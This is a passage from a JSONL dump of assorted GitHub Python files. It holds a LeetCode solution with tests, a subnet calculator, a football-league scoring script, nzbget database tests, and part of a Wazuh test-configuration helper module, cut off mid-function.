x_masked)\n","repo_name":"k2-fsa/icefall","sub_path":"egs/libricss/SURT/dprnn_zipformer/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":10772,"program_lang":"python","lang":"en","doc_type":"code","stars":640,"dataset":"github-code","pt":"37"}
+{"seq_id":"18403473999","text":"import itertools; import math; import operator; import random; import re; from bisect import *; from collections import deque, defaultdict, Counter, OrderedDict; from heapq import *; import unittest; from typing import List;\ndef get_sol(): return Solution()\nclass Solution:\n    def clumsy(self, n: int) -> int:\n        signs=['*','/',1,-1]\n        s_i=0\n        st=[n]\n        for num in range(n-1,0,-1):\n            sign=signs[s_i]\n            if sign=='*':\n                st.append(st.pop()*num)\n            elif sign=='/':\n                if st[-1]*num<0: # ans will be negative\n                    st.append( abs(st.pop()) // abs(num) )\n                    st[-1] *= (-1) # make it negative\n                else:\n                    st.append(st.pop()//num)\n            else:\n                st.append(num*sign)\n            s_i=(s_i+1)%4\n        return sum(st)\nclass Tester(unittest.TestCase):\n    def test_1(self):\n        n = 4\n        Output= 7\n        self.assertEqual(Output,get_sol().clumsy(n))\n    def test_2(self):\n        n = 10\n        Output= 12\n        self.assertEqual(Output,get_sol().clumsy(n))\n    def test_3(self):\n        n = 7\n        Output= 6\n        self.assertEqual(Output,get_sol().clumsy(n))\n    # def test_4(self):\n    # def test_5(self):\n    # def test_6(self):\n    # def test_7(self):\n    # def test_8(self):\n","repo_name":"afzalsiddique/problem-solving","sub_path":"Problem_Solving_Python/leetcode/lc1006.py","file_name":"lc1006.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"73713009333","text":"import sys\nimport socket\nimport struct\nimport subprocess\nimport ipaddress\n\n\ndef numberToNetmask(number):\n    if int(number) < 1 or int(number) > 32:\n        print(\"Wrong mask number\")\n        sys.exit()\n    host_bits = 32 - int(number)\n    netmask = socket.inet_ntoa(struct.pack('!I', (1 << 32) - (1 << host_bits)))\n    return netmask\n\n\ndef get_subnet_mask(ip):\n    config = subprocess.Popen('ipconfig', stdout=subprocess.PIPE)\n    while True:\n        line = config.stdout.readline()\n        if ip.encode() in line:\n            break\n    mask = config.stdout.readline().split(b':')[-1].replace(b' ', b'').decode()\n    return mask\n\n\ndef numbersToBin(tab):\n    i = 0\n    try:\n        for number in tab:\n            tab[i] = int(number)\n            i += 1\n    except ValueError:\n        print(\"Value Error\")\n        sys.exit()\n\n    tabBin = [0, 0, 0, 0]\n    i = 0\n    for x in tab:\n        tabBin[i] = bin(x)[2:].zfill(8)\n        i += 1\n    return tabBin\n\n\ndef ipcheck(ip):\n    i = 0\n    try:\n        for number in ip:\n            ip[i] = int(number)\n            i += 1\n    except ValueError:\n        print(\"Value Error\")\n        file.write(\"Value Error\")\n        file.close()\n        sys.exit()\n    if len(ip) != 4:\n        print(\"Wrong lenght's address\")\n        file.write(\"Wrong lenght's address\")\n        file.close()\n        sys.exit()\n    for x in ip:\n        if x < 0 or x > 255:\n            print(\"Wrong ip address\")\n            file.write(\"Wrong ip address\")\n            file.close()\n            sys.exit()\n\n\ndef ipclass(ip):\n    x = int(ip[0])\n    if x >= 1 and x < 128:\n        return \"A\"\n    elif x < 192:\n        return \"B\"\n    elif x < 224:\n        return \"C\"\n    elif x < 240:\n        return \"D\"\n    elif x <= 255:\n        return \"E\"\n\n\ndef subnet(ipdz, maskdz):\n    host = ipaddress.IPv4Address(ipdz)\n    mask = ipaddress.IPv4Address(maskdz)\n    return ipaddress.IPv4Address(int(host) & int(mask))\n\n\ndef publicOrPrivate(ip):\n    if (ip[0] == 10 or (ip[0] == 172 and '16' <= ip[1] <= '31') or (ip[0] == 192 and ip[1] == 168)):\n        return (\"Private\")\n    else:\n        return (\"Public\")\n\n\ndef combineTabToString(tab):\n    res = \"\"\n    i = 1\n    for x in tab:\n        res += x\n        if i < 4:\n            i += 1\n            res += \".\"\n    return res\n\n\ndef splittingToSingleNumbers(tab):\n    tab_list = []\n    for j in range(0, len(tab)):\n        for i in range(0, len(tab[j])):\n            tab_list.append(tab[j][i])\n            i += 1\n        j += 1\n    return tab_list\n\n\ndef combingToBinary(list):\n    tab = [\"\", \"\", \"\", \"\"]\n    for j in range(0, 8):\n        tab[0] += str(list[j])\n    for j in range(8, 16):\n        tab[1] += str(list[j])\n    for j in range(16, 24):\n        tab[2] += str(list[j])\n    for j in range(24, 32):\n        tab[3] += str(list[j])\n    return tab\n\n\ndef binaryToDecimal(tab):\n    dec = str(int(tab[0], 2)) + \".\" + str(int(tab[1], 2)) + \".\" + str(int(tab[2], 2)) + \".\" + str(int(tab[3], 2))\n    return dec;\n\n\nfile = open(\"result.txt\", \"w\")\n# ----------------------------------------------------------------------------------------DATA-INPUT\ninputX = ['', '']\nif (len(sys.argv) == 1):\n    hostname = socket.gethostname()\n    inputX[0] = socket.gethostbyname(hostname)\n    ipDec = inputX[0]\n    inputX[1] = get_subnet_mask(inputX[0])[:-2]\n    maskDec = inputX[1]\n    maskNumber = sum([bin(int(x)).count('1') for x in maskDec.split('.')])\n    inputX[1] = str(maskNumber)\nelse:\n    inputX = str(sys.argv[1])\n    inputX = inputX.split(\"/\")\n    ipDec = inputX[0]\n    maskNumber = inputX[1]\n    maskDec = numberToNetmask(maskNumber)\nprint(\"\\nInput:\", str(inputX[0] + \"/\" + inputX[1]))\nfile.write(\"Input: \" + str(inputX[0] + \"/\" + inputX[1]) + \"\\n\")\n\n# ----------------------------------------------------------------------------------------IP\nip = ipDec.split(\".\")\nipcheck(ip)\nipBin = numbersToBin(ip)\nprint(\"\\nIP decimal:\", ipDec)\nfile.write(\"\\nIP decimal: \" + str(ipDec) + \"\\n\")\nprint(\"IP binary:\", combineTabToString(ipBin))\nfile.write(\"IP binary: \" + str(combineTabToString(ipBin)) + \"\\n\")\n\n# ----------------------------------------------------------------------------------------MASK\nmaskBin = numbersToBin(maskDec.split(\".\"))\nprint(\"\\nMask number:\", maskNumber)\nfile.write(\"\\nMask number: \" + str(maskNumber) + \"\\n\")\nprint(\"Mask decimal:\", maskDec)\nfile.write(\"Mask decimal: \" + str(maskDec) + \"\\n\")\nprint(\"Mask binary:\", combineTabToString(maskBin))\nfile.write(\"Mask binary: \" + str(combineTabToString(maskBin)) + \"\\n\")\n\n# -----------------------------------------=-----------------------------------------------HOST-BITS\nmaskSingle = splittingToSingleNumbers(maskBin)\nnumberOfHostBits = 32\nfor x in maskSingle:\n    if x == \"1\":\n        numberOfHostBits -= 1\n    else:\n        break\nprint(\"Number of host's bits:\", numberOfHostBits)\nfile.write(\"Number of host's bits: \" + str(numberOfHostBits) + \"\\n\")\n\n# ----------------------------------------------------------------------------------------NET\nnetDec = str(subnet(ipDec, maskDec))\nnetBin = numbersToBin(netDec.split(\".\"))\nprint(\"\\nNetwork decimal:\", netDec)\nfile.write(\"\\nNetwork decimal: \" + str(netDec) + \"\\n\")\nprint(\"Network binary:\", combineTabToString(netBin))\nfile.write(\"Network binary: \" + str(combineTabToString(netBin)) + \"\\n\")\nprint(\"Network class:\", ipclass(ip))\nfile.write(\"Network class: \" + str(ipclass(ip)) + \"\\n\")\nprint(\"Network type:\", publicOrPrivate(ip))\nfile.write(\"Network type: \" + str(publicOrPrivate(ip)) + \"\\n\")\n\n# ----------------------------------------------------------------------------------------BROADCAST\nbroadcastDec = str(ipaddress.IPv4Network(ipDec + '/' + maskDec, False).broadcast_address)\nbroadcastBin = numbersToBin(broadcastDec.split(\".\"))\nprint(\"\\nBroadcast decimal:\", broadcastDec)\nfile.write(\"\\nBroadcast decimal: \" + str(broadcastDec) + \"\\n\")\nprint(\"Broadcast binary:\", combineTabToString(broadcastBin))\nfile.write(\"Broadcast binary: \" + str(combineTabToString(broadcastBin)) + \"\\n\")\n\n# ----------------------------------------------------------------------------------------FIRST-HOST\nfirstHostSingle = splittingToSingleNumbers(netBin)\ni = -1\nwhile firstHostSingle[i] == 1 and i <= -numberOfHostBits:\n    firstHostSingle[i] = 0\n    i -= 1\nfirstHostSingle[i] = 1\nfirstHostBin = combingToBinary(firstHostSingle)\nfirstHostDec = binaryToDecimal(firstHostBin)\nprint(\"\\nFirst host decimal:\", firstHostDec)\nfile.write(\"\\nFirst host decimal: \" + str(firstHostDec) + \"\\n\")\nprint(\"First host binary:\", combineTabToString(firstHostBin))\nfile.write(\"First host binary: \" + str(combineTabToString(firstHostBin)) + \"\\n\")\n\n# ----------------------------------------------------------------------------------------LAST-HOST\nlastHostSingle = splittingToSingleNumbers(broadcastBin)\ni = -1\nwhile lastHostSingle[i] == 0 and i <= -numberOfHostBits:\n    lastHostSingle[i] = 1\n    i -= 1\nlastHostSingle[i] = 0\nlastHostBin = combingToBinary(lastHostSingle)\nlastHostDec = binaryToDecimal(lastHostBin)\nprint(\"\\nLast host decimal:\", lastHostDec)\nfile.write(\"\\nLast host decimal: \" + str(lastHostDec) + \"\\n\")\nprint(\"Last host binary:\", combineTabToString(lastHostBin))\nfile.write(\"Last host binary: \" + str(combineTabToString(lastHostBin)) + \"\\n\")\n\n# ----------------------------------------------------------------------------------------MAX-HOSTS\nmaxHosts = 2 ** numberOfHostBits - 2\nprint(\"\\nMaximum number of hosts:\", maxHosts)\nfile.write(\"\\nMaximum number of hosts: \" + str(maxHosts) + \"\\n\")\n\n# ----------------------------------------------------------------------------------------PING\nif (ipDec == netDec or ip == broadcastDec):\n    print(\"IP is 'network' or 'broadcast'\")\nelse:\n    choice = input(\"\\nDo you want to ping this IP? y=yes\\n\")\n    if (choice == 'y'):\n        command = ['ping', ipDec]\n        subprocess.call(command)\n\nfile.close()\n","repo_name":"Blumbix/SubnetCalculator","sub_path":"Kalkulator.py","file_name":"Kalkulator.py","file_ext":"py","file_size_in_byte":7768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"17772609814","text":"n = int(input())\n\nL = input().split()\n\nscoretable = dict()\n\nfor team in L:\n    # matches, goals for, goals against, goals diff, points\n    scoretable[team] = [dict(), 0, 0, 0, 0]\n    \n\nm = int(input())\nflag = False\n\nfor _ in range(m):\n    t1, t2, s1, s2 = input().split()\n    s1 = int(s1) \n    s2 = int(s2)\n    \n    if (t1 == t2):\n        flag = not flag\n        print(\"Invalid Inout\")\n        break\n    \n    matches = scoretable[t1][0]\n    \n   \n    if (t2 not in matches):\n        matches[t2] = 1\n    else:\n        if (matches[t2] == 2):\n            flag = not flag\n            break\n        matches[t2] += 1        \n        \n    scoretable[t1][1] += s1\n    scoretable[t1][2] += s2\n    scoretable[t1][3] += s1 - s2\n    \n    if (s1 > s2):\n        scoretable[t1][4] +=2\n    elif (s1 == s2):\n        scoretable[t1][4] += 1\n        \n    matches = scoretable[t2][0]\n\n    if (t1 not in matches):\n        matches[t1] = 1\n    else:\n        if (matches[t1] == 2):\n            flag = not flag\n            break\n        matches[t1] += 1   \n        \n    scoretable[t2][1] += s1\n    scoretable[t2][2] += s2\n    scoretable[t2][3] += s1 - s2\n    \n    if (s1 > s2):\n        scoretable[t2][4] +=2\n    elif (s1 == s2):\n        scoretable[t2][4] += 1\n\nrankings = []\n \nfor key in scoretable:\n    points = scoretable[key][-1]\n    rankings.insert(points, key)\n  \nif (flag):\n    print(\"Invalid Input\")\nelse:\n    print(rankings[::-1])","repo_name":"TharunBalaji2004/tcs-codevita-practice","sub_path":"FootballLeague/football.py","file_name":"football.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"15239003817","text":"from TestBase import TestBase\nfrom TestBase import TEMP_DIRECTORY\n\nfrom os import unlink\nfrom os.path import join\n\nfrom nzbget.Database import Database\nfrom nzbget.Database import Category\nfrom nzbget.Database import NZBGET_DATABASE_VERSION\nfrom nzbget.Logger import VERY_VERBOSE_DEBUG\n\n# Temporary Directory\nDATABASE = join(TEMP_DIRECTORY, 'nzbget_test.db')\n\nKEY = 'The.Perfect.Name.nzb'\n\n\nclass TestDatabase(TestBase):\n    def teardown_method(self):\n        \"\"\"This method is run once after _each_ test method is executed\"\"\"\n        try:\n            unlink(DATABASE)\n        except:\n            pass\n\n        # common\n        super(TestDatabase, self).teardown_method()\n\n    def test_schema_init(self):\n\n        db = Database(\n            container=KEY,\n            database=DATABASE,\n            reset=True,\n\n            debug=VERY_VERBOSE_DEBUG,\n        )\n        assert db._get_version() == NZBGET_DATABASE_VERSION\n        assert db._schema_okay()\n\n    def test_key_manip(self):\n\n        db = Database(\n            container=KEY,\n            database=DATABASE,\n            reset=True,\n\n            debug=VERY_VERBOSE_DEBUG,\n        )\n        # New Keys\n        assert db.set('MY_KEY', 'MY_VALUE')\n        assert db.get('MY_KEY') == 'MY_VALUE'\n        # Updates\n        assert db.set('MY_KEY', 'MY_NEW_VALUE')\n        assert db.get('MY_KEY') == 'MY_NEW_VALUE'\n        # Other Keys\n        assert db.set('MY_OTHER_KEY', 'MY_OTHER_VALUE')\n        assert db.get('MY_OTHER_KEY') == 'MY_OTHER_VALUE'\n\n        del db\n        # Content saved across sessions\n        db = Database(\n            container=KEY,\n            database=DATABASE,\n\n            debug=VERY_VERBOSE_DEBUG,\n        )\n        assert db.get('MY_KEY') == 'MY_NEW_VALUE'\n        assert db.get('MY_OTHER_KEY') == 'MY_OTHER_VALUE'\n\n        # Removing\n        assert db.unset('MY_OTHER_KEY')\n        assert db.get('MY_OTHER_KEY', 'MISSING') == 'MISSING'\n\n    def test_category_manip(self):\n\n        db = Database(\n            container=KEY,\n            database=DATABASE,\n            reset=True,\n\n            debug=VERY_VERBOSE_DEBUG,\n        )\n        # New Keys\n        assert db.set('MY_KEY', 'MY_VALUE')\n        assert db.get('MY_KEY') == 'MY_VALUE'\n        assert db.set('MY_KEY', 'MY_NEW_VALUE', category=Category.NZB)\n        # No change in key\n        assert db.get('MY_KEY') == 'MY_VALUE'\n        # However, different category has different key mapped\n        assert db.get('MY_KEY', category=Category.NZB) == 'MY_NEW_VALUE'\n\n        # Updates\n        assert db.set('MY_KEY', 'ANOTHER_VALUE', category=Category.NZB)\n        assert db.get('MY_KEY', category=Category.NZB) == 'ANOTHER_VALUE'\n        del db\n\n        # Content saved across sessions\n        db = Database(\n            container=KEY,\n            database=DATABASE,\n\n            debug=VERY_VERBOSE_DEBUG,\n        )\n        assert db.get('MY_KEY') == 'MY_VALUE'\n        assert db.get('MY_KEY', category=Category.NZB) == 'ANOTHER_VALUE'\n\n    def test_key_purges01(self):\n\n        db = Database(\n            container=KEY,\n            database=DATABASE,\n            reset=True,\n\n            debug=VERY_VERBOSE_DEBUG,\n        )\n\n        assert db.set('MY_KEY', 'MY_VALUE')\n        assert db.get('MY_KEY') == 'MY_VALUE'\n\n        assert db.set('MY_OTHER_KEY', 'MY_OTHER_VALUE')\n        assert db.get('MY_OTHER_KEY') == 'MY_OTHER_VALUE'\n\n        # purge entries (0 = all)\n\n    def test_key_purges02(self):\n\n        db = Database(\n            container=KEY,\n            database=DATABASE,\n            reset=True,\n\n            debug=VERY_VERBOSE_DEBUG,\n        )\n\n        assert db.set('MY_KEY', 'MY_VALUE')\n        assert db.get('MY_KEY') == 'MY_VALUE'\n\n        assert db.set('MY_OTHER_KEY', 'MY_OTHER_VALUE')\n        assert db.get('MY_OTHER_KEY') == 'MY_OTHER_VALUE'\n\n        # purge entries (0 = all)\n        db.prune(0)\n        assert db.get('MY_KEY') is None\n        assert db.get('MY_OTHER_KEY') is None\n","repo_name":"caronc/pynzbget","sub_path":"test/test_database.py","file_name":"test_database.py","file_ext":"py","file_size_in_byte":3932,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"21"}
+{"seq_id":"18380054771","text":"import itertools\nimport os\nimport sys\nimport xml.etree.ElementTree as ET\nimport yaml\nimport json\nimport pytest\nfrom copy import deepcopy\nfrom subprocess import check_call, DEVNULL, check_output\nfrom typing import List, Any, Set\n\nfrom wazuh_testing import global_parameters, logger, VALID_FIM_MODES, OS_EXCLUDED_FROM_RT_WD\nfrom wazuh_testing.tools import WAZUH_PATH, GEN_OSSEC, WAZUH_CONF, PREFIX, WAZUH_LOCAL_INTERNAL_OPTIONS, AGENT_CONF, \\\n                                LOCAL_RULES_PATH\nfrom wazuh_testing import global_parameters, logger\nfrom wazuh_testing.tools import file\n\n\n# customize _serialize_xml to avoid lexicographical order in XML attributes\ndef _serialize_xml(write, elem, qnames, namespaces,\n                   short_empty_elements, **kwargs):\n    tag = elem.tag\n    text = elem.text\n    if tag is ET.Comment:\n        write(\"<!--%s-->\" % text)\n    elif tag is ET.ProcessingInstruction:\n        write(\"<?%s?>\" % text)\n    else:\n        tag = qnames[tag]\n        if tag is None:\n            if text:\n                write(ET._escape_cdata(text))\n            for e in elem:\n                _serialize_xml(write, e, qnames, None,\n                               short_empty_elements=short_empty_elements)\n        else:\n            write(\"<\" + tag)\n            items = list(elem.items())\n            if items or namespaces:\n                if namespaces:\n                    for v, k in sorted(namespaces.items(),\n                                       key=lambda x: x[1]):  # sort on prefix\n                        if k:\n                            k = \":\" + k\n                        write(\" xmlns%s=\\\"%s\\\"\" % (\n                            k,\n                            ET._escape_attrib(v)\n                        ))\n                for k, v in items:  # avoid lexicographical order for XML attributes\n                    if isinstance(k, ET.QName):\n                        k = k.text\n                    if isinstance(v, ET.QName):\n                        v = qnames[v.text]\n                    else:\n                        v = ET._escape_attrib(v)\n                    write(\" %s=\\\"%s\\\"\" % (qnames[k], v))\n            if text or len(elem) or not short_empty_elements:\n                write(\">\")\n                if text:\n                    write(ET._escape_cdata(text))\n                for e in elem:\n                    _serialize_xml(write, e, qnames, None,\n                                   short_empty_elements=short_empty_elements)\n                write(\"</\" + tag + \">\")\n            else:\n                write(\" />\")\n    if elem.tail:\n        write(ET._escape_cdata(elem.tail))\n\n\nET._serialize_xml = _serialize_xml  # override _serialize_xml to avoid lexicographical order in XML attributes\n\n\ndef set_wazuh_conf(wazuh_conf: List[str]):\n    \"\"\"\n    Set up Wazuh configuration. Wazuh will be restarted to apply it.\n\n    Args:\n        wazuh_conf (ET.ElementTree): ElementTree with a custom Wazuh configuration.\n    \"\"\"\n    write_wazuh_conf(wazuh_conf)\n    print(\"Restarting Wazuh...\")\n    command = os.path.join(WAZUH_PATH, 'bin/wazuh-control')\n    arguments = ['restart']\n    check_call([command] + arguments, stdout=DEVNULL, stderr=DEVNULL)\n\n\ndef generate_wazuh_conf(args: List = None) -> ET.ElementTree:\n    \"\"\"\n    Generate a configuration file for Wazuh.\n\n    Args:\n        args (list, optional): Arguments to generate ossec.conf (install_type, distribuition, version). Default `None`\n\n    Returns:\n        (ET.ElementTree): New Wazuh configuration generated from 'gen_ossec.sh'.\n    \"\"\"\n    gen_ossec_args = args if args else ['conf', 'manager', 'rhel', '7']\n    wazuh_config = check_output([GEN_OSSEC] + gen_ossec_args).decode(encoding='utf-8', errors='ignore')\n\n    return ET.ElementTree(ET.fromstring(wazuh_config))\n\n\ndef get_wazuh_conf() -> List[str]:\n    \"\"\"\n    Get current `ossec.conf` file content.\n\n    Returns\n        List of str: A list containing all the lines of the `ossec.conf` file.\n    \"\"\"\n    with open(WAZUH_CONF) as f:\n        lines = f.readlines()\n    return lines\n\n\ndef get_agent_conf():\n    \"\"\"\n    Get current `agent.conf` file content.\n\n    Returns\n        List of str: A list containing all the lines of the `agent.conf` file.\n    \"\"\"\n    with open(AGENT_CONF) as f:\n        lines = f.readlines()\n    return lines\n\n\ndef get_api_conf(path) -> dict:\n    \"\"\"Get current `api.yaml` file content.\n\n    Args:\n        path (str): Path of config file.\n\n    Returns:\n        current_conf (dict): A dict containing all content of the `api.yaml` file.\n    \"\"\"\n    current_conf = {}\n\n    if os.path.isfile(path):\n        with open(path) as f:\n            current_conf = yaml.full_load(f)\n\n    return current_conf\n\n\ndef write_wazuh_conf(wazuh_conf: List[str]):\n    \"\"\"\n    Write a new configuration in 'ossec.conf' file.\n\n    Args:\n        wazuh_conf (list or str): Lines to be written in the ossec.conf file.\n    \"\"\"\n    with open(WAZUH_CONF, 'w') as f:\n        f.writelines(wazuh_conf)\n\n\ndef write_agent_conf(agent_conf):\n    \"\"\"\n    Write a new configuration in 'agent.conf' file.\n\n    Args:\n        agent_conf (list or str): Lines to be written in the agent.conf file.\n    \"\"\"\n    with open(AGENT_CONF, 'w') as f:\n        f.writelines(agent_conf)\n\n\ndef write_api_conf(path: str, api_conf: dict):\n    \"\"\"\n    Write a new configuration in 'api.yaml' file.\n\n    Args:\n    ----------\n    path (str): Path of config file.\n    api_conf (dicst): Dictionary to be written in the api.yaml file.\n    \"\"\"\n    with open(path, 'w+') as f:\n        yaml.dump(api_conf, f)\n\n\ndef write_security_conf(path: str, security_conf: dict):\n    \"\"\"\n    Write a new configuration in 'security.yaml' file.\n\n    Args:\n        path (str): Path of config file.\n        security_conf (dict): Dictionary to be written in the security.yaml file.\n    \"\"\"\n    if not os.path.exists(path):\n        from wazuh_testing.tools import WAZUH_UID, WAZUH_GID\n\n        open(path, mode='w').close()\n        os.chown(uid=WAZUH_UID, gid=WAZUH_GID, path=path)\n    write_api_conf(path, security_conf)\n\n\ndef set_section_wazuh_conf(sections, template=None):\n    \"\"\"\n    Set a configuration in a section of Wazuh. It replaces the content if it exists.\n\n    Args:\n        sections (list): List of dicts with section and new elements\n        section (str, optional): Section of Wazuh configuration to replace. Default `'syscheck'`\n        new_elements (list, optional) : List with dictionaries for settings elements in the section. Default `None`\n        template (list of string, optional): File content template\n\n    Returns:\n        List of str: List of str with the custom Wazuh configuration.\n    \"\"\"\n\n    def create_elements(section: ET.Element, elements: List):\n        \"\"\"\n        Insert new elements in a Wazuh configuration section.\n\n        Args:\n            section (ET.Element): Section where the element will be inserted.\n            elements (list): List with the new elements to be inserted.\n        Returns:\n            ET.ElementTree: Modified Wazuh configuration.\n        \"\"\"\n        tag = None\n        for element in elements:\n            for tag_name, properties in element.items():\n                tag = ET.SubElement(section, tag_name)\n                new_elements = properties.get('elements')\n                attributes = properties.get('attributes')\n                if attributes is not None:\n                    for attribute in attributes:\n                        if isinstance(attribute, dict):  # noqa: E501\n                            for attr_name, attr_value in attribute.items():\n                                tag.attrib[attr_name] = str(attr_value)\n                if new_elements:\n                    create_elements(tag, new_elements)\n                else:\n                    tag.text = str(properties.get('value'))\n                    attributes = properties.get('attributes')\n                    if attributes:\n                        for attribute in attributes:\n                            if attribute is not None and isinstance(attribute, dict):  # noqa: E501\n                                for attr_name, attr_value in attribute.items():\n                                    tag.attrib[attr_name] = str(attr_value)\n                tag.tail = \"\\n    \"\n        tag.tail = \"\\n  \"\n\n    def purge_multiple_root_elements(str_list: List[str], root_delimeter: str = \"</ossec_config>\") -> List[str]:\n        \"\"\"\n        Remove from the list all the lines located after the root element ends.\n\n        This operation is needed before attempting to convert the list to ElementTree because if the ossec.conf had more\n        than one `<ossec_config>` element as root the conversion would fail.\n\n        Args:\n            str_list (list or str): The content of the ossec.conf file in a list of str.\n            root_delimeter (str, optional: The expected string to identify when the first root element ends,\n            by default \"</ossec_config>\"\n\n        Returns:\n            list of str : The first N lines of the specified str_list until the root_delimeter is found. The rest of\n            the list will be ignored.\n        \"\"\"\n        line_counter = 0\n        for line in str_list:\n            line_counter += 1\n            if root_delimeter in line:\n                return str_list[0:line_counter]\n        else:\n            return str_list\n\n    def to_elementTree(str_list: List[str]) -> ET.ElementTree:\n        \"\"\"\n        Turn a list of str into an ElementTree object.\n\n        As ElementTree does not support xml with more than one root element this function will parse the list first with\n        `purge_multiple_root_elements` to ensure there is only one root element.\n\n        Args:\n            str_list (list of str): A list of strings with every line of the ossec conf.\n\n        Returns:\n            ElementTree: A ElementTree object with the data of the `str_list`\n        \"\"\"\n        str_list = purge_multiple_root_elements(str_list)\n        return ET.ElementTree(ET.fromstringlist(str_list))\n\n    def to_str_list(elementTree: ET.ElementTree) -> List[str]:\n        \"\"\"\n        Turn an ElementTree object into a list of str.\n\n        Args:\n            elementTree (ElementTree): A ElementTree object with all the data of the ossec.conf.\n\n        Returns:\n            (list of str): A list of str containing all the lines of the ossec.conf.\n        \"\"\"\n        return ET.tostringlist(elementTree.getroot(), encoding=\"unicode\")\n\n    def find_module_config(wazuh_conf: ET.ElementTree, section: str, attributes: List[dict]) -> ET.ElementTree:\n        r\"\"\"\n        Check if a certain configuration section exists in ossec.conf and returns the corresponding block if exists.\n        (This extra function has been necessary to implement it to configure the wodle blocks, since they have the same\n        section but different attributes).\n\n        Args:\n            wazuh_conf (ElementTree): An ElementTree object with all the data of the ossec.conf\n            section (str): Name of the tag or configuration section to search for. For example: vulnerability_detector\n            attributes (list of dict): List with section attributes. Needed to check if the section exists with all the\n            searched attributes and values. For example (wodle section) [{'name': 'syscollector'}]\n        Returns:\n            ElementTree: An ElementTree object with the section data found in ossec.conf. None if nothing was found.\n        \"\"\"\n        if attributes is None:\n            return wazuh_conf.find(section)\n        else:\n            attributes_query = ''.join([f\"[@{attribute}='{value}']\" for index, _ in enumerate(attributes)\n                                        for attribute, value in attributes[index].items()])\n            query = f\"{section}{attributes_query}\"\n\n            try:\n                return wazuh_conf.find(query)\n            except AttributeError:\n                return None\n\n    # Get Wazuh configuration as a list of str\n    raw_wazuh_conf = get_wazuh_conf() if template is None else template\n    # Generate a ElementTree representation of the previous list to work with its sections\n    wazuh_conf = to_elementTree(purge_multiple_root_elements(raw_wazuh_conf))\n    for section in sections:\n        attributes = section.get('attributes')\n        section_conf = find_module_config(wazuh_conf, section['section'], attributes)\n        # Create section if it does not exist, clean otherwise\n        if not section_conf:\n            section_conf = ET.SubElement(wazuh_conf.getroot(), section['section'])\n            section_conf.text = '\\n    '\n            section_conf.tail = '\\n\\n  '\n        else:\n            prev_text = section_conf.text\n            prev_tail = section_conf.tail\n            section_conf.clear()\n            section_conf.text = prev_text\n            section_conf.tail = prev_tail\n\n        # Insert section attributes\n        if attributes:\n            for attribute in attributes:\n                if attribute is not None and isinstance(attribute, dict):  # noqa: E501\n                    for attr_name, attr_value in attribute.items():\n                        section_conf.attrib[attr_name] = str(attr_value)\n\n        # Insert elements\n        new_elements = section.get('elements', list())\n        if global_parameters.fim_database_memory and section['section'] == 'syscheck':\n            new_elements.append({'database': {'value': 'memory'}})\n        if new_elements:\n            create_elements(section_conf, new_elements)\n\n    return to_str_list(wazuh_conf)\n\n\ndef expand_placeholders(mutable_obj, placeholders=None):\n    \"\"\"\n    Search for placeholders and replace them by a value inside mutable_obj.\n\n    Args:\n        mutable_obj (mutable object):  Target object where the replacements are performed.\n        placeholders (dict): Each key is a placeholder and its value is the replacement. Default `None`\n\n    Returns:\n        Reference: Reference to `mutable_obj`\n    \"\"\"\n    placeholders = {} if placeholders is None else placeholders\n    if isinstance(mutable_obj, list):\n        for index, value in enumerate(mutable_obj):\n            if isinstance(value, (dict, list)):\n                expand_placeholders(mutable_obj[index], placeholders=placeholders)\n            elif value in placeholders:\n                mutable_obj[index] = placeholders[value]\n\n    elif isinstance(mutable_obj, dict):\n        for key, value in mutable_obj.items():\n            if isinstance(value, (dict, list)):\n                expand_placeholders(mutable_obj[key], placeholders=placeholders)\n            elif value in placeholders:\n                mutable_obj[key] = placeholders[value]\n\n    return mutable_obj\n\n\ndef add_metadata(dikt, metadata=None):\n    \"\"\"\n    Create a new key 'metadata' in dict if not already exists and updates it with metadata content.\n\n    Args:\n        dikt (dict):  Target dict to update metadata in.\n        metadata (dict, optional):  Dict including the new properties to be saved in the metadata key.\n    \"\"\"\n    if metadata is not None:\n        new_metadata = dikt['metadata'] if 'metadata' in dikt else {}\n        new_metadata.update(metadata)\n        dikt['metadata'] = new_metadata\n\n\ndef process_configuration(config, placeholders=None, metadata=None):\n    \"\"\"\n    Get a new configuration replacing placeholders and adding metadata.\n\n    Both placeholders and metadata should have equal length.\n\n    Args:\n        config (dict): Config to be enriched.\n        placeholders (dict, optional): Dict with the replacements.\n        metadata (list of dict, optional): List of dicts with the metadata keys to include in config.\n\n    Returns:\n        dict: Dict with enriched configuration.\n    \"\"\"\n    new_config = expand_placeholders(deepcopy(config), placeholders=placeholders)\n    add_metadata(new_config, metadata=metadata)\n\n    return new_config\n\n\ndef load_wazuh_configurations(yaml_file_path: str, test_name: str, params: list = None, metadata: list = None) -> Any:\n    r\"\"\"\n    Load different configurations of Wazuh from a YAML file.\n\n    Args:\n        yaml_file_path (str): Full path of the YAML file to be loaded.\n        test_name (str): Name of the file which contains the test that will be executed.\n        params (list, optional) : List of dicts where each dict represents a replacement\n        MATCH/REPLACEMENT. Default `None`\n        metadata (list, optional): Custom metadata to be inserted in the configuration. Default `None`\n\n    Returns:\n        Python object with the YAML file content\n    Raises:\n        ValueError: If the length of `params` and `metadata` are not equal.\n    \"\"\"\n    params = [{}] if params is None else params\n    metadata = [{}] if metadata is None else metadata\n    if len(params) != len(metadata):\n        raise ValueError(f\"params and metadata should have the same length {len(params)} != {len(metadata)}\")\n\n    with open(yaml_file_path) as stream:\n        configurations = yaml.safe_load(stream)\n\n    if sys.platform == 'darwin':\n        configurations = set_correct_prefix(configurations, PREFIX)\n\n    return [process_configuration(configuration, placeholders=replacement, metadata=meta)\n            for replacement, meta in zip(params, metadata)\n            for configuration in configurations\n            if test_name in expand_placeholders(configuration.get('apply_to_modules'), placeholders=replacement)]\n\n\ndef set_correct_prefix(configurations, new_prefix):\n    \"\"\"Insert the correct prefix in the paths of each configuration.\n\n    In Mac OS X it is not possible to create files in the / directory.\n    Therefore, it is necessary to replace those paths that do not contain a\n    suitable prefix.\n\n    This function checks if the path inside directories, ignore, nodiff and restrict sections\n    contains a certain prefix, and if it does not contain it, it inserts it.\n\n    Args:\n        configurations (list): List of configurations loaded from the YAML.\n        new_prefix (str): 